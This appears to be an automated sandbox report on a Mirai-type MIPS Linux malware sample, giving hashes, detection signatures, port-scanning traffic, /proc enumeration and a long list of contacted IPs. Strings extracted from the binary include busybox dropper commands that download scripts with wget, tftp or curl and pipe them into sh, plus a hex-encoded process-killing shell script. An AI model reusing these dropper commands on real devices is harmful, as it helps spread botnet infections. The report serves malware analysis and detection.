Linux Analysis Report
ZMDO0vznFx.elf

Overview

General Information

Sample name: ZMDO0vznFx.elf
renamed because original name is a hash value
Original sample name: 4f876758ee1840ec63da95001adf8322.elf
Analysis ID: 1432446
MD5: 4f876758ee1840ec63da95001adf8322
SHA1: 2ce94a9abc186f12ed6c6e06f280d8defcf91970
SHA256: 6038650f3c25b945addfe07486d6b8c5dc53a36bd5c06a3556403f9a557ed3cc
Tags: 32elfmipsmirai
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: ZMDO0vznFx.elf ReversingLabs: Detection: 52%
Source: ZMDO0vznFx.elf Virustotal: Detection: 32% Perma Link
Found strings indicative of a multi-platform dropper
Source: ZMDO0vznFx.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 204.76.203.63 ports 38241,1,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:34260 -> 204.76.203.63:38241
Sample listens on a socket
Source: /tmp/ZMDO0vznFx.elf (PID: 5483) Socket: 127.0.0.1::39148 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 193.82.132.6
Source: unknown TCP traffic detected without corresponding DNS query: 216.31.129.219
Source: unknown TCP traffic detected without corresponding DNS query: 126.43.6.244
Source: unknown TCP traffic detected without corresponding DNS query: 150.108.117.173
Source: unknown TCP traffic detected without corresponding DNS query: 132.135.22.82
Source: unknown TCP traffic detected without corresponding DNS query: 39.90.19.206
Source: unknown TCP traffic detected without corresponding DNS query: 44.121.85.250
Source: unknown TCP traffic detected without corresponding DNS query: 159.157.45.73
Source: unknown TCP traffic detected without corresponding DNS query: 81.153.154.80
Source: unknown TCP traffic detected without corresponding DNS query: 98.0.204.191
Source: unknown TCP traffic detected without corresponding DNS query: 1.68.124.225
Source: unknown TCP traffic detected without corresponding DNS query: 61.106.250.199
Source: unknown TCP traffic detected without corresponding DNS query: 36.114.70.109
Source: unknown TCP traffic detected without corresponding DNS query: 83.244.190.149
Source: unknown TCP traffic detected without corresponding DNS query: 128.85.129.9
Source: unknown TCP traffic detected without corresponding DNS query: 148.65.137.30
Source: unknown TCP traffic detected without corresponding DNS query: 38.169.39.65
Source: unknown TCP traffic detected without corresponding DNS query: 85.121.89.2
Source: unknown TCP traffic detected without corresponding DNS query: 154.222.33.235
Source: unknown TCP traffic detected without corresponding DNS query: 84.140.160.161
Source: unknown TCP traffic detected without corresponding DNS query: 67.68.171.115
Source: unknown TCP traffic detected without corresponding DNS query: 163.55.36.109
Source: unknown TCP traffic detected without corresponding DNS query: 106.47.21.77
Source: unknown TCP traffic detected without corresponding DNS query: 129.77.105.47
Source: unknown TCP traffic detected without corresponding DNS query: 182.137.174.73
Source: unknown TCP traffic detected without corresponding DNS query: 223.62.29.126
Source: unknown TCP traffic detected without corresponding DNS query: 175.248.19.157
Source: unknown TCP traffic detected without corresponding DNS query: 155.213.129.235
Source: unknown TCP traffic detected without corresponding DNS query: 9.220.134.132
Source: unknown TCP traffic detected without corresponding DNS query: 62.170.231.57
Source: unknown TCP traffic detected without corresponding DNS query: 192.162.122.229
Source: unknown TCP traffic detected without corresponding DNS query: 99.219.79.31
Source: unknown TCP traffic detected without corresponding DNS query: 33.94.51.38
Source: unknown TCP traffic detected without corresponding DNS query: 48.194.224.182
Source: unknown TCP traffic detected without corresponding DNS query: 155.108.175.250
Source: unknown TCP traffic detected without corresponding DNS query: 7.55.174.138
Source: unknown TCP traffic detected without corresponding DNS query: 121.64.183.231
Source: unknown TCP traffic detected without corresponding DNS query: 94.37.158.197
Source: unknown TCP traffic detected without corresponding DNS query: 73.167.15.239
Source: unknown TCP traffic detected without corresponding DNS query: 207.170.230.29
Source: unknown TCP traffic detected without corresponding DNS query: 215.102.127.207
Source: unknown TCP traffic detected without corresponding DNS query: 79.5.89.227
Source: unknown TCP traffic detected without corresponding DNS query: 195.186.1.199
Source: unknown TCP traffic detected without corresponding DNS query: 57.98.136.162
Source: unknown TCP traffic detected without corresponding DNS query: 189.76.69.82
Source: unknown TCP traffic detected without corresponding DNS query: 152.159.133.67
Source: unknown TCP traffic detected without corresponding DNS query: 8.11.81.10
Source: unknown TCP traffic detected without corresponding DNS query: 80.245.15.45
Source: unknown TCP traffic detected without corresponding DNS query: 12.58.94.164
Source: unknown TCP traffic detected without corresponding DNS query: 89.205.175.235
Source: global traffic DNS traffic detected: DNS query: freethewind.parody
Source: ZMDO0vznFx.elf String found in binary or memory: http:///curl.sh
Source: ZMDO0vznFx.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/166@1/0
Enumerates processes within the "proc" file system
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5580/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5580/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5495/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5495/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5495/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5495/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5530/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5530/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5530/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5530/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5520/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5520/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5531/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5531/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5531/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5531/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5521/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5521/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5519/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5519/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5522/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5522/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5523/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5523/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5523/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5523/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5513/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5513/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5524/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5524/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5524/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5524/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5568/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5568/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5514/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5514/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5525/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5525/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5525/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5525/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5515/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5515/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5526/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5526/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5526/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5526/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5516/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5516/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5527/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5527/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5527/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5527/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5517/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5517/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5528/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5528/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5528/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5528/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5518/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5518/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5529/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5529/cmdline Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5529/maps Jump to behavior
Source: /tmp/ZMDO0vznFx.elf (PID: 5491) File opened: /proc/5529/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/ZMDO0vznFx.elf (PID: 5483) Queries kernel information via 'uname': Jump to behavior
Source: ZMDO0vznFx.elf, 5483.1.00005588fad78000.00005588fadff000.rw-.sdmp, ZMDO0vznFx.elf, 5489.1.00005588fad78000.00005588fadff000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: ZMDO0vznFx.elf, 5483.1.00005588fad78000.00005588fadff000.rw-.sdmp, ZMDO0vznFx.elf, 5489.1.00005588fad78000.00005588fadff000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: ZMDO0vznFx.elf, 5483.1.00007fff697bc000.00007fff697dd000.rw-.sdmp, ZMDO0vznFx.elf, 5489.1.00007fff697bc000.00007fff697dd000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: ZMDO0vznFx.elf, 5483.1.00007fff697bc000.00007fff697dd000.rw-.sdmp, ZMDO0vznFx.elf, 5489.1.00007fff697bc000.00007fff697dd000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/ZMDO0vznFx.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ZMDO0vznFx.elf
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
53.218.187.247
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
162.216.61.103
 unknown United States
6128 CABLE-NET-1US false
218.0.102.223
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
147.125.209.85
 unknown Austria
2488 IIASA-NETInternationalInstituteforAppliedSystemsAnalys false
136.127.81.155
 unknown United States
15169 GOOGLEUS false
148.179.78.60
 unknown United States
11719 EATON-CORPORATIONUS false
25.248.227.84
 unknown United Kingdom
199055 UKCLOUD-ASGB false
25.157.9.73
 unknown United Kingdom
7922 COMCAST-7922US false
58.71.229.133
 unknown Malaysia
9534 MAXIS-AS1-APBinariangBerhadMY false
223.249.242.192
 unknown China
9812 CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN false
110.142.93.132
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
169.25.140.90
 unknown United States
37611 AfrihostZA false
13.179.251.252
 unknown United States
7018 ATT-INTERNET4US false
122.91.41.176
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
168.224.13.187
 unknown United States
27435 OPSOURCE-INCUS false
149.51.205.98
 unknown United States
174 COGENT-174US false
143.20.57.227
 unknown United States
264008 LANCAMANTOANISERVICOSDEINFORMATICALTDA-MEBR false
142.3.75.141
 unknown Canada
26206 ASN-UREGINACA false
201.77.134.43
 unknown Brazil
28654 AxtelecomTelecomunicacoesEireliBR false
117.217.175.148
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
162.248.59.190
 unknown United States
54648 CALBROADBANDUS false
19.73.9.83
 unknown United States
3 MIT-GATEWAYSUS false
184.90.126.154
 unknown United States
33363 BHN-33363US false
216.235.51.120
 unknown United States
6534 OCEANIC-CABLEUS false
89.140.41.48
 unknown Spain
43160 ES-MDC-DATACENTERMalagaDataCenterES false
146.232.38.19
 unknown South Africa
2018 TENET-1ZA false
60.156.131.229
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
5.76.224.127
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
26.170.193.179
 unknown United States
7922 COMCAST-7922US false
207.115.100.190
 unknown Canada
11478 OPENFACECA false
71.20.20.94
 unknown United States
7029 WINDSTREAMUS false
218.203.184.107
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
216.122.138.246
 unknown Canada
13768 COGECO-PEER1CA false
161.28.193.224
 unknown United States
210 WEST-NET-WESTUS false
117.207.53.78
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
173.141.172.124
 unknown United States
10507 SPCSUS false
104.167.150.162
 unknown United States
54119 BOINGO-MDUUS false
34.188.29.107
 unknown United States
2686 ATGS-MMD-ASUS false
212.121.117.218
 unknown Netherlands
28685 ASN-ROUTITNL false
146.137.21.63
 unknown United States
683 ARGONNE-ASUS false
207.12.252.206
 unknown United States
1239 SPRINTLINKUS false
1.106.104.7
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
162.102.7.4
 unknown United States
33274 ASN-FAIRVIEWHEALTHSERVICESUS false
6.53.111.67
 unknown United States
1464 DNIC-ASBLK-01464-01465US false
89.18.154.13
 unknown Russian Federation
15930 WIPLINE-ASRU false
66.66.57.31
 unknown United States
11351 TWC-11351-NORTHEASTUS false
13.122.1.88
 unknown United States
16509 AMAZON-02US false
156.240.251.209
 unknown Seychelles
328608 Africa-on-Cloud-ASZA false
133.182.8.238
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
23.190.76.37
 unknown Reserved
394256 CLOUDSINGULARITYCA false
102.104.170.148
 unknown Tunisia
37693 TUNISIANATN false
153.247.218.48
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
21.86.36.81
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.59.197.75
 unknown United States
7018 ATT-INTERNET4US false
148.247.98.131
 unknown Mexico
3548 CentrodeInvestigacionydeEstudiosAvanzadosdelMX false
89.0.8.108
 unknown Germany
8422 NETCOLOGNEDE false
113.107.42.209
 unknown China
58466 CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN false
28.61.115.167
 unknown United States
7922 COMCAST-7922US false
137.37.221.102
 unknown United States
55282 SUNYCANTON-ASUS false
62.24.100.198
 unknown Kenya
12455 JAMBONETKE false
221.241.254.156
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
161.235.171.71
 unknown United States
13695 AEPUS false
187.96.63.246
 unknown Brazil
26615 TIMSABR false
130.102.124.212
 unknown Australia
24436 UQ-AS-APUniversityofQueenslandAU false
37.101.56.51
 unknown Italy
9158 TELENOR_DANMARK_ASDK false
156.70.163.23
 unknown United States
297 AS297US false
70.207.173.74
 unknown United States
22394 CELLCOUS false
200.121.166.126
 unknown Peru
6147 TelefonicadelPeruSAAPE false
2.209.211.55
 unknown Germany
6805 TDDE-ASN1DE false
120.190.249.33
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
113.20.55.98
 unknown New Caledonia
45461 TELENET-AS-APTeleNetNC false
44.187.192.169
 unknown United States
7377 UCSDUS false
120.241.244.108
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
216.184.218.69
 unknown United States
4565 MEGAPATH2-US false
128.247.83.0
 unknown United States
209781 BASF-LUDWIGSHAFENDE false
15.112.38.1
 unknown United States
13979 ATT-IPFRUS false
16.116.69.69
 unknown United States
unknown unknown false
186.151.239.241
 unknown Guatemala
14754 TelguaGT false
35.184.93.76
 unknown United States
15169 GOOGLEUS false
152.17.119.151
 unknown United States
40245 WAKE-FOREST-UNIVERSITYUS false
97.216.13.223
 unknown United States
6167 CELLCO-PARTUS false
89.73.234.221
 unknown Poland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
6.48.249.132
 unknown United States
1494 DNIC-ASBLK-01494-01495US false
107.61.91.216
 unknown United States
16567 NETRIX-16567US false
126.128.61.187
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
214.87.129.39
 unknown United States
721 DNIC-ASBLK-00721-00726US false
39.165.1.245
 unknown China
24445 CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN false
109.186.131.191
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
75.223.47.100
 unknown United States
22394 CELLCOUS false
19.108.159.235
 unknown United States
3 MIT-GATEWAYSUS false
120.246.85.128
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
206.154.35.49
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
169.98.253.192
 unknown United States
37611 AfrihostZA false
15.127.198.185
 unknown United States
1874 HPESUS false
160.178.85.82
 unknown Morocco
36903 MT-MPLSMA false
41.169.198.137
 unknown South Africa
36937 Neotel-ASZA false
129.209.200.110
 unknown United States
25019 SAUDINETSTC-ASSA false
158.195.142.142
 unknown Slovakia (SLOVAK Republic)
2607 SANETSlovakAcademicNetworkSK false
7.213.226.124
 unknown United States
3356 LEVEL3US false
126.165.146.183
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false

Contacted Domains

Name IP Active
freethewind.parody 86.104.194.178 true